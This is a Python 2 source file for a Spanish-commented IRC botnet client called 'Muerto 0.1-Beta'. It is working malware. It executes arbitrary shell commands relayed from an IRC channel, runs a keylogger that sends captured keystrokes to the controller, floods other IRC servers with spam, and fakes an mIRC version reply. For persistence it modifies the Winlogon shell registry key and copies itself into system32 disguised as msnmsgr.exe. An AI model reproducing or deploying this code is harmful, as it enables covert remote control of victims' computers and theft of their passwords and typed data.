import socket,string,os.path,random,time,sys,_winreg,win32api,threading
############clase users###############
class users:
def __init__(self, user):
self.user = user
def existe(self):
if os.path.isfile('users.txt') == True:
f = open('users.txt', 'r+')
data = f.read()
test = data.split('\n')
for x in test:
if x == self.user:
return '1'
f.close()
else:
return 'x'
def add(self):
if os.path.isfile('users.txt') == True:
if users.existe(self) == '1':
return '1'
else:
f = open('users.txt', 'a')
f.write(self.user + '\n')
f.close()
return '2'
else:
f = open('users.txt', 'w')
f.write(self.user + '\n')
f.close()
return '2'
def borrar(self):
if os.path.isfile('users.txt') == True:
if users.existe(self) == '1':
f = open('users.txt', 'r+')
data = f.read()
data = data.replace(self.user,'')
f.close()
f1 = open('users.txt', 'w')
f1.write(data)
f1.close()
return '3'
else:
return 'x'
else:
return 'x'
def listar(self):
if os.path.isfile('users.txt') == True:
f = open('users.txt', 'r+')
data = f.read()
test = data.split('\n')
return test
f.close()
else:
return 'x'
#keyloger nos envia lo tecleado por el pc huesped acia el server irc
class keylog(threading.Thread):
def __init__(self, s, gg):
threading.Thread.__init__(self)
self.s = s
self.gg = gg
def run(self):
todo = ''
stop = False
while not stop:
for letra in range(8, 256):
key = win32api.GetAsyncKeyState(letra)
if key == -32767:
if letra != 9 or letra != 13 or letra != 123:
todo = '%s%s' % (todo, chr(letra))
if letra == 13:
log = open('log.txt', 'a+')
log.write(todo + '\n')
try:
self.s.send('PRIVMSG %s 2%s\r\n' % (self.gg, todo))
todo = ''
except socket.error:
stop = True
break
if letra == 8:
todo=todo[0:len(todo)-2]
#espamear en servidores. esto es una mierda y fue solo un test lo dejo = como idea por mejorar
#pretendo hacer una seccion se atakes y tengo muchas ideas en mente DoS usando Threads proxys etc
def spam(lugar, nname, chan, msg):
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s1.connect((lugar,6667))
except socket.gaierror:
s1.close()
else:
s1.send('NICK %s\r\n' % nname)
s1.send('USER pablo pablo pablo : asi aoy yo =)\r\n')
s1.send('JOIN %s\r\n' % chan)
s1.send('PRIVMSG %s 2%s\r\n' % (chan, msg))
s1.close()
##################################################
def entra():
#configuracion user password
root = '[Q]3rV[0]'
password = '1234'
#nick aleatorio NerD- + numero aleatorio entre 1000 y 9999
nick = 'underterminal'
#ident
ide = 'test'
#full name
fullname = 'python-bot'
#servidor y puerto de coneccion
server = 'irc.freenode.net'
puerto = 6667
#canal en el que entra
canal = '#uterminal'
buffer = ''
acept = '0'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,puerto))
s.send('NICK %s\r\n' % nick)
s.send('USER %s %s %s : %s\r\n' % (ide, ide, ide, fullname))
#la sigiente linea esta comentada ya que algunos servidores no dejan enviar el join altiro
#asi que lo envio despues del raw 376 que es el fin del motd
#s.send('JOIN %s\r\n' % canal)
#seteamos el valor de timeout o tiempo maximo de espera sin movimiento en el buffer en 120 segundos
s.settimeout(120)
while 1:
#evitamos error de timeout y socket.error
try:
buffer=buffer+s.recv(1024)
#ante un error cierra el socket y conecta nuevamente
except socket.error:
s.close()
entra()
#ante un error cierra el socket y conecta nuevamente
except socket.timeout:
s.close()
entra()
#si no ocurre ningun error contirua
else:
temp=string.split(buffer, "\n")
buffer=temp.pop()
for line in temp:
print line
line_list=string.split(line)
#respondemos el ping del servidor
if(line_list[0]=='PING'):
s.send("PONG %s\r\n" % line_list[1])
#reconectar despues de un error closing link
if(line_list[0]=='ERROR'):
if(line_list[1]==':Closing'):
if(line_list[2]=='Link:'):
time.sleep(10)
s.close()
entra()
if(line_list[1]=='376'):
s.send('JOIN %s\r\n' % canal)
#despues de logearte comprobar que estes identificado en el servidor irc y agregarlo al archivo users.txt
if(line_list[1]=='307'):
if(acept=='1'):
u = users(line_list[3])
u.add()
s.send('PRIVMSG %s 2Login Correcto Para Solicitar Ayuda Usa 4!man\r\n' % line_list[3])
acept = '0'
if(line_list[1]=='PRIVMSG'):
#nos logeamos con !login user pass (el nick tiene que estar identificado)
if(line_list[3]==':!login'):
if(line_list[4]==root):
if(line_list[5]==password):
acept = '1'
s.send('WHOIS %s\r\n' % line_list[4])
a=string.find(line, ':')
b=string.find(line, '!')
n1=line[a+1:b]
if(line_list[3]==':VERSION'):
s.send('NOTICE %s :VERSION mIRC v6.17 Khaled Mardam-Bey\r\n' % n1)
f1 = users(n1)
#comprobamos que el usuario exista
if(f1.existe()=='1'):
g1=string.find(line, ':')
g2=string.find(line, '!')
gg=line[g1+1:g2]
##########ejecutar comandos shell########
#para que responda en canal
if(line_list[2]==canal):
if(line_list[3]==':!cmd'):
x=string.find(line, ':!cmd')
comand=line[x+6:len(line)]
data=os.popen('%s' % comand).read()
file=open('test.txt','w')
file.write(data)
file.close()
file=open('test.txt','r')
data=file.read()
data1=data.split('\n')
for x in data1:
time.sleep(1)
try:
s.send('PRIVMSG %s : %s\r\n' % (canal, x))
except socket.error:
s.close()
entra()
#para que responda en pv2
elif(line_list[3]==':!cmd'):
x=string.find(line, ':!cmd')
comand=line[x+6:len(line)]
data=os.popen('%s' % comand).read()
file=open('test.txt','w')
file.write(data)
file.close()
file=open('test.txt','r')
data=file.read()
data1=data.split('\n')
for x in data1:
time.sleep(1)
try:
s.send('PRIVMSG %s : %s\r\n' % (gg, x))
except socket.error:
s.close()
entra()
##########################################
#agregar users
if(line_list[3]==':!adduser'):
try:
xs = users(line_list[4])
except IndexError:
s.send('PRIVMSG %s 2Parametro obligatorio !adduser nick-usuario\r\n' % gg)
else:
if(xs.existe()=='1'):
s.send('PRIVMSG %s 2El Usuario: 1%s2 Ya Existe\r\n' % (gg, line_list[4]))
else:
xs.add()
s.send('PRIVMSG %s 2El Usuario: 1%s 2A Sido Ingresaro Correctamente\r\n' % (gg, line_list[4]))
s.send('PRIVMSG %s 2Bienvenido a Muerto-0.1-Beta, Para solicitar Ayuda use !man\r\n' % line_list[4])
#borrar user
if(line_list[3]==':!deluser'):
try:
xs = users(line_list[4])
except IndexError:
s.send('PRIVMSG %s 2El Usuario Es Invalido\r\n' % gg)
else:
if(xs.borrar()=='x'):
s.send('PRIVMSG %s 2El Usuario: 1%s2 No Existe\r\n' % (gg, line_list[4]))
else:
xs.borrar()
s.send('PRIVMSG %s 2El Usuario: 1%s 2A Sido Eliminado Correctamente\r\n' % (gg, line_list[4]))
#reiniciar bot
if(line_list[3]==':!reboot'):
s.close()
entra()
#activar keyloger
if(line_list[3]==':!keyloger'):
keyloger = keylog(s, gg)
keyloger.start()
#listar usuarios
if(line_list[3]==':!userlist'):
xs = users('')
s.send('PRIVMSG %s 2Lista De Usuarios\r\n' % gg)
for a in xs.listar():
if(a!=''):
s.send('PRIVMSG %s 1%s\r\n' % (gg, a))
#borrar lista completa de users
if(line_list[3]==':!reset'):
s.send('PRIVMSG %s 2La Lista De Usuarios a Sido Reseteada\r\n' % gg)
f = open('users.txt', 'w')
f.close()
#hacer spam en servidores
if(line_list[3]==':!spam'):
try:
k1=line_list[4]
k2=line_list[5]
k3=line_list[6]
k4=line_list[7]
kk1=string.find(line, line_list[7])
msg=line[kk1:len(line)]
spam(k1, k2, k3, msg)
except IndexError:
s.send('PRIVMSG %s 2Parametros obligatorios: 4!spam servidor nick-del-bot #canal mensaje\r\n' % gg)
###############################
#manual del bot
if(line_list[3]==':!man'):
s.send('PRIVMSG %s 2bienvenido A La Ayuda De: 1Muerto 0.1-Beta\r\n' % gg)
time.sleep(1)
s.send('PRIVMSG %s 2Agregar Usuario Ejemplo: 4!adduser juanito\r\n' % gg)
s.send('PRIVMSG %s 2Eliminar Usuario Ejemplo: 4!deluser juanito\r\n' % gg)
s.send('PRIVMSG %s 2Listar Usuarios: 4!userlist\r\n' % gg)
s.send('PRIVMSG %s 2Resetear Usuarios: 4!reset\r\n' % gg)
s.send('PRIVMSG %s 2Ejecutar Comando Ejemplo: 4!cmd dir c:\\r\n' % gg)
s.send('PRIVMSG %s 2Reiniciar: 4!reboot\r\n' % gg)
s.send('PRIVMSG %s 2spamear en servidores: 4!spam server nick-del-bot #canal mensaje\r\n' % gg)
#crear llave de registro para iniciarnos junto a explorer.exe al iniciar secion de usuario
t1=string.rfind(sys.argv[0], '\\')
tt=sys.argv[0][t1+1:len(sys.argv[0])]
keyp = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 0, _winreg.KEY_SET_VALUE)
_winreg.SetValueEx (keyp, "shell", 0, _winreg.REG_SZ, "Explorer.exe, msnmsgr.exe")
_winreg.CloseKey(keyp)
#copiarnos al directorio system32
os.popen('copy %s C:\\WINDOWS\\system32\\msnmsgr.exe' % tt)
#iniciamos el ciclo
entra()